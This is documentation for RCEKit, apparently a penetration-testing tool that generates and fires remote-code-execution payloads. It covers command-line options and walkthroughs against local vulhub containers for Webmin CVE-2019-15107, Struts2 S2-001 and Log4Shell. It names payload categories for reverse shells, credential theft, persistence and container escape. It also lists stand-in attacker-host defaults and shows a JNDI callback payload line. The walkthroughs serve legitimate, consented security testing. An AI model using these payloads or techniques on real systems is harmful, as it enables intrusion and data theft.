`auto` infers the dialect per carrier: the `powershell` context takes the PowerShell shape, `windows_cmd` and the rest of the `windows` environment take `cmd.exe`, everything else takes POSIX. Pin it when the corpus environment names the *application runtime* rather than the OS — `--environments php --sink-env windows` is a PHP application on IIS, which `auto` cannot see. The `dotnet` environment is the one runtime that also gets `cmd.exe` and PowerShell carriers under `auto`; every other runtime keeps the POSIX shape, since a language does not say which OS it runs on.

```
[detect] sink shell: auto (per carrier)
[detect] sink shapes: auto (full ladder)
```

Machine-readable results

`--detect-json PATH` writes the run as JSON alongside the usual text report:

```
{
  "rcekit_version": "2.25.0",
  "target": "https://target.example/lookup?host=FUZZ",
  "methods": ["reflected"],
  "verdict": "executed",
  "counts": {"executed": 4, "negative": 9},
  "probes": [{"verdict": "executed", "method": "reflected", "environment": "unix",
    "context": "raw", "payload": "...", "detail": "target computed ..."}]
```

Use it instead of parsing stdout. Two things make the text report unsafe to scrape: a probe payload may contain a literal newline — the newline separator is a real one — so line-oriented parsing splits a payload in half, and the detection path exits 0 whether it confirmed or came back clean.

The top-level `verdict` collapses the run, ordered by what you must not miss rather than by what is most frequent: one `executed` among a hundred negatives is the finding. `error` appears only when *nothing* reached the target, and a run that built no probes is `nothing-tested` — never `negative`, which would read as "not vulnerable".

This is the channel `tests/bench/` reads to check verdicts against real vulnerable targets.

Out-of-band detection

`--methods oob` starts the built-in HTTP+DNS listener in-process and asks the target to resolve or fetch `<token>.<oob-host>`. It is the only `executed`-tier method for a sink that returns nothing and has no writable web root — `time` tops out at `timing-sink` by design, and `file` needs somewhere to write that the target also serves.

Each probe carries its own token, so the finding names the break-out that actually worked rather than every one that was tried. The DNS shapes matter most: egress filtering that blocks outbound HTTP usually still lets the resolver out. One shape goes further and puts a computed value in the label (`$( (a+b) ).<token>.<host>`), so the callback proves the shell evaluated arithmetic rather than merely resolving a name it was handed.

`--oob-host` must be an address the *target* can reach that arrives at this listener: an IP on a routable interface, or a domain whose NS records are delegated here. With a bare IP the token rides in the URL path instead of a DNS label, and the DNS shapes are skipped rather than sent as probes that could never call back.

That second channel is `oob`'s alone. `lookup` resolves an expression and `deser` reconstructs an object graph; neither has anywhere but a DNS label to put a token, so a bare IP strands

them — `lookup` builds nothing at all and `deser` is left with its listener-free shape oracle. Both skip the probes rather than send ones that cannot call back, and the run says which methods an address stranded and which tier that puts out of reach, so a capped verdict is not read as a result.

Naming a host is also what starts the listener for them. `deser` does not *require* `--oob-host` — its shape oracle proves something without one — so a `deser`-only run used to start no listener at all and send its gadgets to a target with nothing to receive the callback, however well the host was delegated. The listener now starts for any selected method that calls back when a host is named, which `oob`, `lookup` and `deser` all do.

For `deser` that depends on `--deser-formats`: only `java` and `fastjson` ship a DNS gadget, so a run narrowed to `php`, `dotnet` or `python_pickle` builds no callback probe, starts no listener, and is not reported as stranded by an address — the limit there belongs to the format, not to the host.

The DNS shapes need port 53. A DNS callback travels the real resolver hierarchy, so it only arrives if this listener *is* the authority for the OOB domain — `--listen-dns-port 53` (needs root) plus NS records delegating the domain here. On any other port the DNS probes are still sent and can never call back; RCEKit says so at startup rather than leaving you to infer it from silence.

This makes the target open outbound connections, so it is held back at the default safety tier — the same tier that holds back the corpus OOB payloads — and needs `--verify-active-risk intrusive` as well as `--oob-host`.

Sink shape

Option	Description	Default
<code>--sink-raw</code>	Sink runs the input as the whole command — send bare probes, no leading separator	Off
<code>--sink-needs-separator</code>	Input is concatenated mid-command — keep only separator-led payloads	Off
<code>--sink-blind</code>	Sink returns no output — keep only OOB/timing-confirmable payloads	Off
<code>--sink-decodes</code>	Encodings the sink decodes before use (e.g. <code>base64</code>)	None
<code>--deny-chars</code>	Drop payloads <i>and detection probes</i> containing any of these characters	None
<code>--max-length</code>	Drop payloads <i>and detection probes</i> longer than this	None
<code>--target-profile</code>	JSON profile supplying the above as defaults	None

Safety & consent

Option	Description	Default
<code>--acknowledge-consent</code>	Required to generate or fire exploitation payloads	Off
<code>--verify-active-risk</code>	Highest safety tier verification may fire: <code>safe</code> , <code>intrusive</code> , <code>stateful</code>	<code>safe</code>
<code>--verify-allow-destructive</code>	Allow destructive payloads (persistence, backdoors)	Off
<code>--max-safety</code>	Highest safety tier to include in file output	<code>safe - intrusive</code>
<code>--include-blocking</code>	Include blocking or timing-based payloads excluded by default	Off
<code>--watermark</code>	Embed a traceable token in each exploitation payload	Off

`--verify-active-risk` governs what is **fired**; `--max-safety` governs what is **written**. They are independent on purpose.

Out-of-band listener

Option	Description	Default
<code>--listen</code>	Run the built-in HTTP+DNS listener	Off
<code>--correlate</code>	<code>.map.jsonl</code> manifest mapping received tokens back to payloads	None
<code>--listen-http-port</code>	HTTP port for the listener	8080
<code>--listen-dns-port</code>	UDP DNS port (use <code>53</code> for real DNS — needs root + NS delegation)	5335
<code>--listen-answer-ip</code>	IP returned by the listener's DNS answers	127.0.0.1
<code>--listen-log</code>	Append received hits to this file as JSONL	None
<code>--oob-domain</code>	Collaborator/interactsh domain; each payload gets a unique subdomain token	None

Generation & output

Option	Description	Default
<code>-o</code> , <code>--output</code>	Output file, or base directory for <code>burp</code> / <code>nuclei</code>	<code>rce_payloads.txt</code>
<code>--output-format</code>	<code>text</code> , <code>jsonl</code> , <code>burp</code> , <code>ffuf</code> , <code>nuclei</code>	<code>text</code>
<code>--environments</code>	Restrict generation to these environments	All
<code>--categories</code>	Restrict generation to these categories	All

Option	Description	Default
<code>--contexts</code>	Restrict generation to these contexts	All compatible
<code>--encodings</code>	Restrict generation to these encodings	mode-specific
<code>--max-payloads</code>	Cap payloads (balanced round-robin sample). With <code>--methods</code> it bounds requests per question, and a measurement that cannot finish inside it is declined by name rather than cut short	Unlimited
<code>--detection-only</code>	Benign canary/timing probes for safe validation (no consent needed)	Off
<code>--include-metadata</code>	Write a <code>.meta.jsonl</code> sidecar (indicators, tiers, notes)	Off
<code>--template-file</code>	Custom JSON payload corpus; authoritative — never falls back	<code>templates/payloads.json</code> , else the built-in copy
<code>--attacker-ip</code>	Substituted into reverse-shell payloads	<code>192.168.1.100</code>
<code>--attacker-domain</code>	Substituted into download-execute payloads	<code>attacker.com</code>

Diagnostics

Option	Description
<code>--doctor</code>	Report which corpus is in use and check its integrity (parses, payload counts); exits non-zero if unusable
<code>--version</code>	Print the version and exit

Corpus resolution

RCEKit looks for its payload corpus in this order:

1. `--template-file`, when given — **authoritative**: if it is missing or unparseable, the run fails. It never silently becomes the built-in corpus.
1. `templates/payloads.json` beside the script — the source of truth in a repository checkout, so an edit to it takes effect immediately.
1. The copy embedded in `rcekit.py` — so a single file copied onto a jump box or fetched with `curl` still runs. Using it prints a notice.

A corpus that exists but fails to parse is always an error, at every step. Only an *absent* default file falls through to the built-in copy.

Environments

`unix`, `windows`, `nodejs`, `python`, `php`, `java`, `dotnet`, `ruby`, `perl`, `go`, `docker`, `kubernetes`, `graphql`, `mongodb`.

The shell methods (`reflected`, `file`, `time`) apply to the shell environments and to the language runtimes, since each hands its string to `/bin/sh`. The data-layer environments (`sql`, `graphql`, `mongodb`) are excluded from those methods — `eval` is what applies there.

Categories

`basic_enum`, `file_operations`, `network_operations`, `code_execution`, `download_execute`, `reverse_shells`, `credential_access`, `privilege_escalation`, `persistence`, `cloud_metadata`, `database_enumeration`, `lateral_movement`, `container_escape`, `waf_bypass`, `oob`, `nosql_injection`, `graphql_injection`.

Contexts

Each context carries an escape rule, so the payload survives the container it is delivered in.

Language / structural break-outs (default): `raw`, `html`, `attribute`, `attribute_unquoted`, `javascript`, `sql`, `php`, `unix_shell`, `windows_cmd`, `powershell`, `shell_single_quoted`, `shell_double_quoted`, `graphql_string`.

Transport / serialization (opt-in): `json`, `graphql_variable`, `xml`, `xml_cdata`, `yaml`, `http_header`.

Encodings

Self-contained (default set) — run as-is on the sink: `none`, `url_encode`, `double_url_encode`, `random_case` (for case-insensitive runners), `base64_decode_exec` (carries its own `base64 -d | sh`).

Decoder-required (opt-in) — only valid where the sink itself decodes the input, via `--sink-decodes`: `base64`, `hex`, `base64_then_url`, `double_base64`.

Code-execution sinks

For `--categories code_execution`:

Environment	Sinks
Node	<code>child_process_exec</code> , <code>*_ssti</code> , <code>vm_eval</code> , <code>deserialization</code> , <code>expression_template</code>
Python	<code>os_system</code> , <code>subprocess</code> , <code>jinja2_ssti</code> , <code>exec_ast</code>
PHP	<code>exec_system</code> , <code>eval</code> , <code>deserialize</code>

Environment	Sinks
Java	<code>runtime_exec</code> , <code>freemarker/velocity/thymeleaf_ssti</code> , <code>spel</code> , <code>ognl</code> , <code>groovy</code> , <code>deserialization</code>
.NET	<code>process_start</code> , <code>deserialize</code>
Ruby	<code>kernel_system</code> , <code>erb_ssti</code>
Perl	<code>system_backticks</code>
Go	<code>os_exec</code>
Postgres	<code>psql_meta_command</code>
Mongo	<code>operator_injection</code> , <code>where_js</code> , <code>server_side_js</code>
GraphQL	<code>introspection</code> , <code>injection</code> , <code>batching</code>

Exit codes

Code	Meaning
0	The run completed. For verification this includes a clean <code>negative</code> — the target was tested and no evidence was found.
non-zero	The run did not produce a trustworthy result: the payload corpus is missing or unparseable, <code>--doctor</code> failed, or the filters built no probes at all.

A run that tested nothing is never reported as a clean result.

[docs/verify-it-yourself.md](#)

[View original document](#)

Verify it yourself

The README shows RCEKit confirming RCE on real CVEs. This page is how you reproduce that on your own machine, against vulnerable targets you control, in about five minutes.

The targets come from [vulhub](#) — a maintained collection of dockerised vulnerable environments. Nothing vulnerable is hosted by this project; you bring the target up locally and tear it down when you are done.

These are deliberately vulnerable services. Run them on a machine you control, not on a network you share, and shut them down afterwards. Every RCEKit command below needs `--acknowledge-consent` — which here means you are testing your own container.

Contents

- Setup
- 1. OS command injection — Webmin CVE-2019-15107
- 2. Expression injection — Struts2 S2-001
- 3. Blind out-of-band — Log4Shell CVE-2021-44228

- What to take away

Setup

You need Docker with the `docker compose` plugin, and Python 3.8+.

```
git clone https://github.com/vulhub/vulhub.git
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor
```

That `curl` is the whole install: `rcekit.py` carries its own payload corpus, so one file in an empty directory is a working tool. `--doctor` prints which corpus it loaded and its payload counts.

1. OS command injection — Webmin CVE-2019-15107

A backdoored Webmin 1.910 build: the `old` parameter of `password_change.cgi` reaches a shell. It only works with the right `Referer` and cookies, which makes it a good showcase for driving RCEKit from a **captured request** rather than rebuilding one by hand.

```
cd vulhub/webmin/CVE-2019-15107
docker compose up -d          # HTTPS on :10000, self-signed
```

Save this as `webmin.txt` — it is vulhub's own documented request, with the injection point left as an ordinary value:

```
POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://127.0.0.1:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded

user=rootxx&pam=&expired=2&old=test&new1=test2&new2=test2
```

```
python rcekit.py --acknowledge-consent \
  -r webmin.txt -p old \
  --request-scheme https --insecure \
  --methods reflected
```

Why those two extra flags. The capture's `Host` is on `:10000`, and a portless capture cannot record whether it was TLS — so RCEKit infers `http` and prints the scheme it chose; `--request-scheme https` pins it. The certificate is self-signed, so without `--insecure` every probe

is reported `error`, **not** `negative`: a connectivity failure is never allowed to read as "not vulnerable". `--insecure` is doing more than waving the certificate through here — Webmin 1.910's TLS is old enough that a current OpenSSL refuses the handshake outright, so the flag also lowers the security level and protocol floor to reach it. RCEKit will also warn that the capture carries a `Cookie` header, because pinning the scheme is what keeps it off the wire in cleartext.

You should see `executed` probes, each evidence line naming the value the shell computed from operands RCEKit picked at random for that run — a number that cannot appear in a response unless something executed.

The same sink, blind

Now ask for a timing verdict on the same parameter:

```
python rcekit.py --acknowledge-consent \  
-r webmin.txt -p old \  
--request-scheme https --insecure \  
--methods time --time-base 3
```

This is the part worth watching. The sink is genuinely vulnerable, the timing regression fits — and RCEKit still reports it as `timing-sink`, never `executed`. That tier is not a hedge: the regression is proven, and what it proves is that the target honoured a delay RCEKit injected. What waited is not shown, so it is not execution, and RCEKit will not promote it just because it happens to be right this time. That ceiling is the whole design.

```
docker compose down -v
```

2. Expression injection — Struts2 S2-001

A different RCE class entirely: Struts2 re-evaluates submitted form values as OGNL after a failed validation, so `%{...}` is executed. No shell is involved.

```
cd vulhub/struts2/s2-001  
docker compose build && docker compose up -d      # :8080
```

The app is a single login form. Read its action and field names rather than trusting a guess:

```
curl -s http://127.0.0.1:8080/ | grep -iE '<form|<input'
```

Then point RCEKit at it, substituting the action path and field name you just saw:

```
python rcekit.py --acknowledge-consent \  
  --verify-url "http://127.0.0.1:8080/<action>" \  
  --verify-method POST \  
  --verify-data "<field>=FUZZ" \  
  --methods reflected,eval
```

Both methods are listed on purpose. `eval` should confirm — it injects a product of two random operands in each common template syntax and checks that the **product** comes back while the literal `a*b` does not. `reflected` should not, because its probes are shell syntax and there is no shell here.

That split is the point: RCEKit tells you *which class* executed, rather than flagging the parameter and leaving you to work out why.

```
docker compose down -v
```

3. Blind out-of-band — Log4Shell CVE-2021-44228

Advanced — this one is not a purely local five-minute run. It is included because it is the honest way to show the OOB path, and pretending otherwise would be exactly the overstatement this tool exists to avoid.

vulhub's environment is Apache Solr 8.11.0 on `:8983`, where `/solr/admin/cores?action=` is logged through Log4j 2.14.1.

```
cd vulhub/log4j/CVE-2021-44228  
docker compose up -d
```

What this needs that the others don't. Log4Shell's sink is a JNDI lookup inside a logging library, not a shell. So `--methods oob` does **not** apply here: it builds shell probes (`curl`, `nslookup`) for shell-capable environments. The `${jndi:...}` payloads live in the `oob` **category** instead, and confirmation comes from the listener correlating the callback token:

```
# Generate JNDI payloads, each carrying a unique subdomain token  
python rcekit.py --acknowledge-consent --categories oob \  
  --oob-domain <a-domain-delegated-to-you> --output oob.txt  
  
# Run the listener and correlate whatever calls back  
sudo python rcekit.py --listen --correlate oob.txt.map.jsonl \  
  --listen-dns-port 53 --listen-http-port 8081
```

Then send a generated payload to `/solr/admin/cores?action=` and watch the listener. A hit looks like:

```
[HIT] dns token=8k2hn1ufohpv from 172.17.0.2 -> ${jndi:dns://8k2hn1ufohpv.<domain>/a}
[oob/raw]
```

The requirement to be honest about: `--oob-domain` has to be a domain whose NS records are delegated to your listener, because the token rides in a DNS label. A bare IP cannot carry one. Port 53 needs root, and `--listen-http-port` is moved off 8080 above so it does not collide with the Struts2 container if you still have it up.

`--methods lookup` drives the same proof through the engine instead of by hand, so the run produces a verdict row: it sends only `${jndi:dns://...}`, in the three interpolation syntaxes, and reports `lookup-sink` on a callback. It needs the same delegated domain for the same reason, and it refuses to run when the DNS listener cannot bind rather than reporting `negative` from a channel that was never open.

If you do not have a domain to delegate, this is the one demo you cannot reproduce locally — the [field guide](#) covers the setup, and demos 1 and 2 already show the confirmation model end to end.

```
docker compose down -v
```

What to take away

Three things you can check for yourself in the runs above, which are hard to see from a screenshot:

1. **The evidence is a value the target computed**, from operands chosen freshly each run. Re-run demo 1 and the numbers change — a hardcoded signature or a replayed response cannot produce them.

1. **Tiers are not merged.** The same Webmin sink returns `executed` under `reflected` and `timing-sink` under `time`. RCEKit will not upgrade a timing fit into proof of execution.

1. **The class is attributed, not guessed.** Demo 2 confirms under `eval` and not `reflected`, against a target where both were tried.

If a run comes back `negative` on a target you know is vulnerable, that is worth reporting — the [field guide](#) lists the usual causes (payload encoding, sink shape, a filtered separator), and a reproducible miss on a public vulhub environment is a good bug report.